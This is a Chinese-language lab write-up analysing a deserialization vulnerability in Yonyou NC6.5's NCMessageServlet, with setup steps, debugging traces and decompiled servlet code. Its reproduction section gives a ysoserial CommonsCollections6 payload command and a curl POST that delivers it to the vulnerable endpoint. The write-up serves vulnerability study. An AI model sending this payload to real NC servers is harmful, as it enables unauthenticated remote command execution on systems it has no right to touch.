NC6.5 NCMessageServlet 反序列化
NC6.5 NCMessageServlet 反序列化
环境
安装
解压之后 root 运行安装脚本开始安装:
export JAVA_HOME=/usr/java/jdk1.7.0_21
export PATH=$PATH:$JAVA_HOME/bin:$JAVA_HOME/jre/bin
bash ./setup.sh
勾选所有的组件安装,等待安装完成之后点击“完成”退出即可。
启动
依旧 root 用户执行命令:
cd /root/yonyou/home
bash ./startServer.sh
等到片刻看到控制台显示一下内容的时候,表明 NC 的 Web 服务在 80 端口启动了。访问 URL 即可验证是否启动成功。
...
...
INFO: Starting ProtocolHandler ["http-bio-80"]
May 23, 2023 1:35:57 PM org.apache.tomcat.granite.BrightTomcat start
INFO: Server startup in 239757 ms
复现
使用 ysoserial 的 CC6 攻击。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "touch /tmp/success_NC_222" > CC6.ser
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
curl -v --include -X POST -H "Content-Type: application/octet-stream" --data-binary @CC6.ser http://192.168.47.171/servlet/~baseapp/nc.message.bs.NCMessageServlet
攻击成功:
分析
带调试配置的启动:
sudo su
cd /root/yonyou/home
/usr/java/jdk1.7.0_21/bin/java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -server -Xmx1536m -XX:PermSize=512m -XX:MaxPermSize=1024m -Djava.awt.headless=true -Dfile.encoding=GBK -Duser.timezone=GMT+8 -Dnc.server.name=server -Dnc.server.startCount=0 -DNC_JAVA_HOME=$JAVA_HOME -Dorg.owasp.esapi.resources=/root/yonyou/home/ierp/bin/esapi -Dnc.bs.logging.format=text -Dnc.server.location=/root/yonyou/home -Drun.side=server -Dnc.run.side=server -cp .:/root/yonyou/home/starter.jar:/usr/java/jdk1.7.0_21/lib/tools.jar:/root/yonyou/home/ant/lib/ant-launcher.jar:/root/yonyou/home/lib/cnytiruces.jar nc.bs.mw.start.AloneBootstrap start
验证调试端口是否开启:
> netstat -ano |grep 5005
tcp 0 0 0.0.0.0:5005 0.0.0.0:* LISTEN off (0.00/0/0)
断点
找到下断点的地方 nc.message.bs.NCMessageServlet,在 baseapp_appmessageLevel-1.jar 文件里面。
> grep -rn "nc.message.bs.NCMessageServlet"
Binary file baseapp_appmessageLevel-1.jar matches
调试
调用栈
doAction:33, NCMessageServlet (nc.message.bs)
doAction:185, InvokerServlet (nc.bs.framework.server)
[] doPost:72, InvokerServlet (nc.bs.framework.server)
service:641, HttpServlet (javax.servlet.http)
service:722, HttpServlet (javax.servlet.http)
invoke:-1, GeneratedMethodAccessor113 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
run:277, SecurityUtil$1 (org.apache.catalina.security)
run:1, SecurityUtil$1 (org.apache.catalina.security)
doPrivileged:-1, AccessController (java.security)
doAsPrivileged:536, Subject (javax.security.auth)
execute:309, SecurityUtil (org.apache.catalina.security)
doAsPrivilege:169, SecurityUtil (org.apache.catalina.security)
internalDoFilter:299, ApplicationFilterChain (org.apache.catalina.core)
access$0:214, ApplicationFilterChain (org.apache.catalina.core)
run:193, ApplicationFilterChain$1 (org.apache.catalina.core)
run:1, ApplicationFilterChain$1 (org.apache.catalina.core)
doPrivileged:-1, AccessController (java.security)
doFilter:188, ApplicationFilterChain (org.apache.catalina.core)
doFilter:35, LoggerServletFilter (nc.bs.framework.server)
invoke:-1, GeneratedMethodAccessor114 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
run:277, SecurityUtil$1 (org.apache.catalina.security)
run:1, SecurityUtil$1 (org.apache.catalina.security)
doPrivileged:-1, AccessController (java.security)
doAsPrivileged:536, Subject (javax.security.auth)
execute:309, SecurityUtil (org.apache.catalina.security)
doAsPrivilege:249, SecurityUtil (org.apache.catalina.security)
internalDoFilter:239, ApplicationFilterChain (org.apache.catalina.core)
access$0:214, ApplicationFilterChain (org.apache.catalina.core)
run:193, ApplicationFilterChain$1 (org.apache.catalina.core)
run:1, ApplicationFilterChain$1 (org.apache.catalina.core)
doPrivileged:-1, AccessController (java.security)
doFilter:188, ApplicationFilterChain (org.apache.catalina.core)
invoke:222, StandardWrapperValve (org.apache.catalina.core)
invoke:123, StandardContextValve (org.apache.catalina.core)
invoke:472, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:171, StandardHostValve (org.apache.catalina.core)
invoke:99, ErrorReportValve (org.apache.catalina.valves)
invoke:118, StandardEngineValve (org.apache.catalina.core)
service:408, CoyoteAdapter (org.apache.catalina.connector)
process:1009, AbstractHttp11Processor (org.apache.coyote.http11)
process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:310, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:722, Thread (java.lang)
doAction:185, InvokerServlet (nc.bs.framework.server)
private void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String token = this.getParamValue(request, "security_token");
String userCode = this.getParamValue(request, "user_code");
if (userCode != null) {
InvocationInfoProxy.getInstance().setUserCode(userCode);
}
if (token != null) {
NetStreamContext.setToken(KeyUtil.decodeToken(token));
}
String pathInfo = request.getPathInfo();
log.debug("Before Invoke: " + pathInfo);
long requestTime = System.currentTimeMillis();
try {
if (pathInfo == null) {
throw new ServletException("Service name is not specified, pathInfo is null");
}
pathInfo = pathInfo.trim();
String moduleName = null;
String serviceName = null;
int beginIndex;
if (pathInfo.startsWith("/~")) { // "/~" 开头,pathInfo 值为 /~baseapp/nc.message.bs.NCMessageServlet
moduleName = pathInfo.substring(2); // moduleName 值为 baseapp/nc.message.bs.NCMessageServlet
beginIndex = moduleName.indexOf("/"); // 值为 7
if (beginIndex >= 0) {
serviceName = moduleName.substring(beginIndex); // 值为 /nc.message.bs.NCMessageServlet
if (beginIndex > 0) {
moduleName = moduleName.substring(0, beginIndex);// 最后处理 moduleName 的地方,值为 baseapp
} else {
moduleName = null;
}
} else {
moduleName = null;
serviceName = pathInfo;
}
} else {
serviceName = pathInfo;
}
if (serviceName == null) {
throw new ServletException("Service name is not specified");
}
beginIndex = serviceName.indexOf("/");
if (beginIndex < 0 || beginIndex >= serviceName.length() - 1) {
throw new ServletException("Service name is not specified");
}
serviceName = serviceName.substring(beginIndex + 1); // 去掉了原本开头的 "/"
Object obj = null;
String msg;
try {
obj = this.getServiceObject(moduleName, serviceName); // [2] 通过前面获取到的两个 Name 拿到 Service 对象
} catch (ComponentException var76) {
msg = svcNotFoundMsgFormat.format(new Object[]{serviceName});
Logger.error(msg, var76);
throw new ServletException(msg);
}
ThreadTracer.getInstance().startThreadMonitor("invokeservlet-" + serviceName + "-" + (obj == null ? "" : obj.getClass().getName()), request.getRemoteAddr() + ":" + request.getRemotePort(), "anonymous", (String)null);
if (obj instanceof Servlet) {
Logger.init(obj.getClass());
try {
if (obj instanceof GenericServlet) {
((GenericServlet)obj).init();
}
this.preRemoteProcess();
((Servlet)obj).service(request, response);
this.postRemoteProcess();
} catch (ServletException var72) {
this.postErrorRemoteProcess(var72);
Logger.error("Invoker serlet: " + obj.getClass() + " error", var72);
throw var72;
} catch (IOException var73) {
this.postErrorRemoteProcess(var73);
Logger.error("Invoker serlet: " + obj.getClass() + " error", var73);
throw var73;
} catch (Throwable var74) {
this.postErrorRemoteProcess(var74);
Logger.error("Invoker serlet: " + obj.getClass() + " error", var74);
throw new ServletException("Invoker serlet: " + obj.getClass() + " error", var74);
} finally {
Logger.reset();
}
} else if (obj instanceof IHttpServletAdaptor) {
IHttpServletAdaptor adaptor = (IHttpServletAdaptor)obj;
Logger.init(obj.getClass());
try {
this.preRemoteProcess();
adaptor.doAction(request, response); // [1] 步入 NCMessageServlet 反序列化
this.postRemoteProcess();
} finally {
Logger.reset();
}
} else {
if (obj == null) {
String msg = "Serivce: " + serviceName + " is not found";
log.error(msg);
throw new ServletException(msg);
}
Class<?> clazz = obj.getClass();
msg = null;
Method method;
try {
method = clazz.getDeclaredMethod("doAction", request.getClass(), response.getClass());
} catch (Exception var70) {
throw new ServletException("Serivce: " + serviceName + " can't adapt Servlet");
}
if (method == null) {
throw new ServletException("Serivce: " + serviceName + " can't adapt Servlet");
}
Logger.init(obj.getClass());
try {
String msg;
try {
this.preRemoteProcess();
method.invoke(obj, request, response);
this.postRemoteProcess();
} catch (InvocationTargetException var77) {
..........
}
} finally {
Logger.reset();
}
}
} finally {
log.debug("After Invoke: " + request.getPathInfo() + " " + (System.currentTimeMillis() - requestTime));
ThreadTracer.getInstance().endThreadMonitor();
}
}
整个 InvokerServlet 方法的前半部分都是在处理 moduleName 和 serviceName,通过前面的两个变量在 [2] 获取到 Service 对象,最终在 [3] 进入最后反序列化的位置。其中 [2] 的详细流程如下,我们步入 getServiceObject 方法。
getServiceObject
private Object getServiceObject(String moduleName, String serviceName) throws ComponentException {
Object retObject = null;
if (moduleName == null) {
retObject = NCLocator.getInstance().lookup(serviceName);
} else {
retObject = serviceObjMap.get(moduleName + ":" + serviceName);// retObject 是 null
if (retObject == null) {
Container deployed = BusinessAppServer.getInstance().getContainer(moduleName);
try {
retObject = deployed.getContext().lookup(serviceName);
} catch (ComponentException var10) {
try {
Class<?> clazz = deployed.getClassLoader().loadClass(serviceName);
retObject = clazz.newInstance();// [4] 通过 serviceName 反射获取 Service 对象
} catch (ClassNotFoundException var7) {
......
}
}
}
if (retObject != null) {
serviceObjMap.put(moduleName + ":" + serviceName, retObject);// 放进 serviceObjMap
}
}
return retObject; // 返回获取的对象
}
我们可以从 [4] 发现,程序通过 serviceName 动态加载指定的类,并且创造一个类的实例,以此来获取 Service 对象;然后 put 放进 serviceObjMap 里面。到漏洞最后进入该对象的 doAction 方法触发反序列化漏洞。
也就是说,我们可以找一个类,其中它的 doAction 方法内可以触发反序列化漏洞的,符合这个条件的类都可以被利用。当然,nc.message.bs.NCMessageServlet 类是符合条件的。
我们回到这个nc.message.bs.NCMessageServlet类上的反序列化来看,实际上就是最基本的 readObject 方法触发,只要是有利用链的都可以达到反序列化命令执行或者代码执行了。以 CC 的链为例子,简单搜索一下。其中 CC6 就是在利用范围内的利用链。
> ls |grep "commons-"
ant-commons-logging.jar
ant-commons-net.jar
commons-beanutils-1.8.0.jar
commons-beanutils-1.8.3.jar
commons-beanutils-core-1.8.0.jar
commons-beanutils-core.jar
commons-cli-1.0.jar
commons-cli-1.2.jar
commons-codec-1.2.jar
commons-codec-1.6.jar
commons-codec-1.6Level-1.jar
commons-codec-1.8.jar
commons-codec-1.9.jar
commons-codec.jar
commons-collections-3.2.1.jar
commons-collections.jar
commons-compress-1.4.1.jar
commons-configuration-1.2.jar
commons-configuration-1.6.jar
commons-daemon.jar
commons-dbcp-1.2.1.jar
commons-dbcp-1.4.jar
commons-digester-1.8.jar
commons-digester3-3.2.jar
commons-discovery-0.2.jar
commons-fileupload-1.2.1.jar
commons-fileupload-1.3.1.jar
commons-fileupload-1.3.jar
commons-httpclient-3.0Level-1.jar
commons-io-1.2.jar
commons-io-1.3.1.jar
commons-io-2.2.jar
commons-io-2.4.jar
commons-lang-2.1.jar
commons-lang-2.5.jar
commons-lang-2.6.jar
commons-lang3-3.1.jar
commons-lang3-3.3.2.jar
commons-logging-1.1.1.jar
commons-logging-1.1.1Level-1.jar
commons-logging-1.2.jar
commons-logging.jar
commons-math-1.0.jar
commons-net-1.4.1.jar
commons-net-2.2.jar
commons-net-3.1.jar
commons-net-3.3.jar
commons-pool-1.6.jar
commons-pool2-2.2.jar
commons-pool.jar
commons-validator.jar
commons-vfs-patched-1.9.1.jar
hibernate-commons-annotations-4.0.1.Final.jar
jakarta-commons-net.jar
jakarta-commons-oro.jar
spring-data-commons-core-1.4.0.RELEASE.jar
xmlgraphics-commons-1.4.jar
补充1
前面分析的过程中,没有分析到为什么 PoC 中的 /servlet 是怎么解析的。我发现上面的利用链中只有几个是 nc 自己的类,但是简单看了之后没有办法确定 url 开头的解析的逻辑在哪里。假如一开始是 /aaaa 呢,那处理的类是什么。
我在反复调试之后发现,在 org.apache.catalina.security.SecurityUtil#execute,当 URL 开头是 /aaaa 的时候,传入参数 targetObject 是 DefaultServlet。
但是在 URL 开头是 /servlet 的时候,传入参数 targetObject 是 LoggerServletFilter,method 的 name 是 doFilter。
那么参数 targetObject 是在哪里初始化的呢。实际上 targetObject 是在这里传入的。接下来看看 this.servlet 在哪里设置的。
org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
org.apache.catalina.core.StandardWrapperValve#invoke
servlet 和 wrapper 有关。
通常情况下,
wrapper是一个ServletWrapper类型的对象,它可能是一个类或接口的实例,用于管理和控制一个 Java Servlet 的生命周期。这个语句调用wrapper对象的allocate()方法,该方法会返回一个Servlet对象的实例,该实例代表着一个新的或重用的 Servlet。在 Servlet 容器中,Servlet 对象通常会被缓存起来并在需要时被重用,以提高性能并减少内存开销。
allocate()方法可能会创建一个新的 Servlet 对象,也可能会从缓存中获取一个已存在的 Servlet 对象。无论是哪种情况,allocate()方法都会返回一个可用的 Servlet 实例,servlet变量将引用该实例,以便在后续的代码中使用。
恍然记得 Tomcat 也是可以使用 web.xml 文件写进去 Servlet 的映射的。所以简单查询了一下。(这里包含重复的)
> grep -rn "servlet-mapping"
uapmq/webapps/admin/WEB-INF/web.xml:66: <servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:69: </servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:76: <servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:79: </servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:86: <servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:89: </servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:139: <servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:142: </servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:89: <servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:92: </servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:94: <servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:97: </servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:99: <servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:102: </servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:104: <servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:107: </servlet-mapping>
uapmq/webapps/fileserver/WEB-INF/web.xml:51: <servlet-mapping>
uapmq/webapps/fileserver/WEB-INF/web.xml:54: </servlet-mapping>
hotwebs/help/WEB-INF/web.xml:19: <servlet-mapping>
hotwebs/help/WEB-INF/web.xml:22: </servlet-mapping>
hotwebs/uapjs/WEB-INF/web.xml:9: <servlet-mapping>
hotwebs/uapjs/WEB-INF/web.xml:12: </servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:46: <servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:49: </servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:56: <servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:59: </servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:64: <servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:67: </servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:72: <servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:75: </servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:76: <servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:79: </servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:13: <servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:16: </servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:22: <servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:25: </servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:31: <servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:34: </servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:40: <servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:43: </servlet-mapping>
hotwebs/portal/WEB-INF/bqwebrt.portal.part:26: <servlet-mapping>
hotwebs/portal/WEB-INF/bqwebrt.portal.part:29: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:270: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:274: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:281: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:284: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:289: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:292: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:334: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:337: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:338: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:341: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:342: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:345: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:347: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:350: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:352: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:355: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:357: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:360: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:361: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:364: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:380: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:383: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:389: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:392: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:438: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:441: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:447: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:450: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:452:<!--servlet-mapping_begin:bqwebrt-->
hotwebs/portal/WEB-INF/web.xml:454:<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:457:</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:458:<!--servlet-mapping_end:bqwebrt-->
hotwebs/portal/ds/WEB-INF/web.xml:12: <servlet-mapping>
hotwebs/portal/ds/WEB-INF/web.xml:15: </servlet-mapping>
hotwebs/portal/aemeta/WEB-INF/web.xml:9: <servlet-mapping>
hotwebs/portal/aemeta/WEB-INF/web.xml:12: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:60: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:63: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:64: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:67: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:68: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:71: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:72: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:75: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:76: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:79: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:80: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:83: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:84: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:87: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:89: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:92: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:93: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:96: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:97: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:100: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:101: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:104: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:105: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:108: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:178: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:181: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:182: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:185: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:188: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:191: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:242: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:245: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:251: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:254: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:155: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:158: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:180: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:183: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:185: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:188: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:189: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:192: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:194: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:197: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:199: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:202: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:204: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:207: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:127: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:130: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:131: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:134: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:139: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:142: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:148: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:151: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:158: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:161: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:169: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:172: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:174: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:177: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:184: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:187: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:193: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:196: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:203: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:206: </servlet-mapping>
hotwebs/uapim/WEB-INF/web.xml:77: <servlet-mapping>
hotwebs/uapim/WEB-INF/web.xml:80: </servlet-mapping>
hotwebs/uapim/WEB-INF/web.xml:87: <servlet-mapping>
hotwebs/uapim/WEB-INF/web.xml:90: </servlet-mapping> -->
hotwebs/mp/WEB-INF/web.xml:63: <servlet-mapping>
hotwebs/mp/WEB-INF/web.xml:66: </servlet-mapping>
hotwebs/mp/WEB-INF/web.xml:72:<!-- <servlet-mapping> -->
hotwebs/mp/WEB-INF/web.xml:75:<!-- </servlet-mapping> -->
hotwebs/mp/WEB-INF/web.xml:81:<!-- <servlet-mapping> -->
hotwebs/mp/WEB-INF/web.xml:84:<!-- </servlet-mapping> -->
hotwebs/iwebap/WEB-INF/web.xml:154: <servlet-mapping>
hotwebs/iwebap/WEB-INF/web.xml:157: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:198: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:201: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:243: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:246: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:247: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:250: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:251: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:254: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:256: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:259: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:261: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:264: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:266: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:269: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:270: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:273: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:289: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:292: </servlet-mapping>
hotwebs/web/WEB-INF/web.xml:100: <servlet-mapping>
hotwebs/web/WEB-INF/web.xml:103: </servlet-mapping>
hotwebs/web/WEB-INF/web.xml:104: <servlet-mapping>
hotwebs/web/WEB-INF/web.xml:107: </servlet-mapping> -->
hotwebs/ebvp/WEB-INF/web.xml:126: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:129: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:137: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:140: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:148: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:151: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:159: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:162: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:170: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:173: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:181: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:184: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:192: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:195: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:203: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:206: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:214: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:217: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:225: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:228: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:236: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:239: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:247: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:250: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:258: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:261: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:269: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:272: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:280: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:283: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:291: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:294: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:302: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:305: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:312: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:315: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:322: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:325: </servlet-mapping>
hotwebs/ecp/WEB-INF/web.xml:158: <servlet-mapping>
hotwebs/ecp/WEB-INF/web.xml:161: </servlet-mapping>
hotwebs/ecp/WEB-INF/web.xml:162: <servlet-mapping>
hotwebs/ecp/WEB-INF/web.xml:165: </servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:61: <servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:64: </servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:68: <servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:71: </servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:72: <servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:75: </servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:77: <servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:80: </servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:82: <servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:85: </servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:87: <servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:90: </servlet-mapping>
